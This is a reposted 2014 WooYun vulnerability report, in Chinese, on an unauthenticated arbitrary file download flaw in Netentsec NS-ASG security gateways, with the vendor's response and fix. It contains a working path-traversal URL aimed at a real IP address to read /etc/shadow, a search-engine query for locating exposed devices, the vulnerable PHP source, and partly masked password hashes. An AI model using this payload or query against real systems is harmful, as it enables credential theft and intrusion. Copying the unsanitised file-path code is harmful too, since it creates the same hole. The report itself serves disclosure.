漏洞概要
缺陷编号：
WooYun-2014-58838
漏洞标题： 网康 NS-ASG 应用安全网关所有版本任意文件下载漏洞
相关厂商：
网康科技
漏洞作者：
狗狗侠
提交时间： 2014-04-29 10:34
修复时间： 2014-07-28 10:36
公开时间： 2014-07-28 10:36
漏洞类型： 设计错误/逻辑缺陷
危害等级： 高
自评Rank： 20
漏洞状态： 厂商已经修复
漏洞来源：
http://www.wooyun.org
Tags标签： 无
漏洞详情披露状态：
2014-04-29： 细节已通知厂商并且等待厂商处理中
2014-05-01： 厂商已经确认，细节仅向厂商公开
2014-05-11： 细节向核心白帽子及相关领域专家公开
2014-05-21： 细节向普通白帽子公开
2014-06-10： 细节向实习白帽子公开
2014-07-28： 厂商已经修复漏洞并主动公开，细节向公众公开
简要描述：
剑总 疯狗叔叔 等待你们的通用型奖励...
详细说明：
剑总 疯狗叔叔 等待你们的通用型奖励...如果这蛋给力，接下来会发布一个该系统的getshell。。。
该漏洞利用：
目前通杀...
无需登录状态下，即可下载服务器任何文件，包含/etc/shadow
通过下载shadow 即可破解密码，直接ssh搞起。。。然后网康的菊花就巴拉巴拉的。。。
https://211.68.223.12/commonplugin/Download.php?licensefile=../../../../../../../../../../etc/shadow
如果要验证：请谷歌关键字：“ intitle:网康 NS-ASG 应用安全网关”
操蛋的乌云居然不能发图了。。。
code 区域ob_start("");
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("
ragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: public");
header("Content-Description: File Transfer");
session_cache_limiter("must-revalidate");
include("include/common.inc");
// include("include/sslcommon.inc");
// $filename = basename($reqfile, '.req');
if($reqfile)
{
$filename = $reqfile;
$file = fopen($reqfile,"rb");
if ($file == FALSE)
{
db_close($dbh);
echo "<script>";
echo "alert('文件找不到');";
echo "</script>";
exit();
}
}
else if($certfile)
{
$filename = $certfile;
$file = fopen($certfile,"rb");
if ($file == FALSE)
{
db_close($dbh);
echo "<script>";
echo "alert('文件找不到');";
echo "</script>";
exit();
}
}
else if($licensefile)
{
$licensepath = "/Isc/".$licensefile; //漏洞触发点....网康的研发是不是有点操蛋？ 学学绿盟ok?
$filename = $licensefile;
$file = fopen($licensepath,"rb");
if ($file == FALSE)
{
db_close($dbh);
echo "<script>";
echo "alert('文件找不到');";
echo "</script>";
exit();
}
}
Header("Content-type: application/octet-stream\n");
Header("Content-Disposition: attachment; filename=".$filename);
fpassthru($file);
flush();
fclose($file);
ob_end_flush();
漏洞证明：
root
1$wW80bXKS$YON*****5UDS1vOJ8oR/:15238:0:99999:7::: //打码
nobody:x:14048:0:99999:7:::
sshd:!:14055:0:99999:7:::
mysql:!:14067:0:99999:7:::
smmsp:!:14069:0:99999:7:::
fcron:!:14069:0:99999:7:::
support1$HUC0D.6a$vKlYa7***6FTnNMa1:14096:0:99999:7::: //打码
daemon:!:15207:0:99999:7:::
漏洞证明：
修复方案：
这个修复估计也修复不完了。。我得深入...
版权声明：转载请注明来源
狗狗侠@
乌云
漏洞回应厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2014-05-01 21:58
厂商回复：
4月29日，网康收到CNVD漏洞细节通知，迅速启动并同时展开了以下工作：
1.进一步验证漏洞细节，目前已确认所曝漏洞确实存在于ASG产品；
2.对全线产品进行安全自查，重点确认ASG产品是否仍存其它未知漏洞，并验证类似漏洞是否同存于其它产品线，截至目前，自查工作仍在进行中，全线产品暂未发现新的漏洞；
3.开发用于漏洞修补的更新程序，将尽快发布应急补丁包，介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补；
4.售后服务部通过内部CRM系统导出全部ASG用户名单，并开始逐一联系用户通报漏洞情况，补丁包发布后，将再次逐一通知所有用户及时安装更新，此项工作预计3工作日内完成；
5.为避免统计疏漏，工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法，将配合CNVD共同开展在线设备的主动探测工作，一旦发现未更新补丁的在线设备，将联系并协助用户及时更新，此项工作预计10工作日内完成；
6.将尽快向社会开放漏洞提交邮箱，接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞，向所有帮助网康产品进步的组织和人士表示感谢。
最新状态：
2014-07-15：已随版本更新解决
原文：http://www.wooyun.org/bugs/wooyun-2014-058838
[
本帖最后由 linda 于 2016-2-16 14:43 编辑 ]
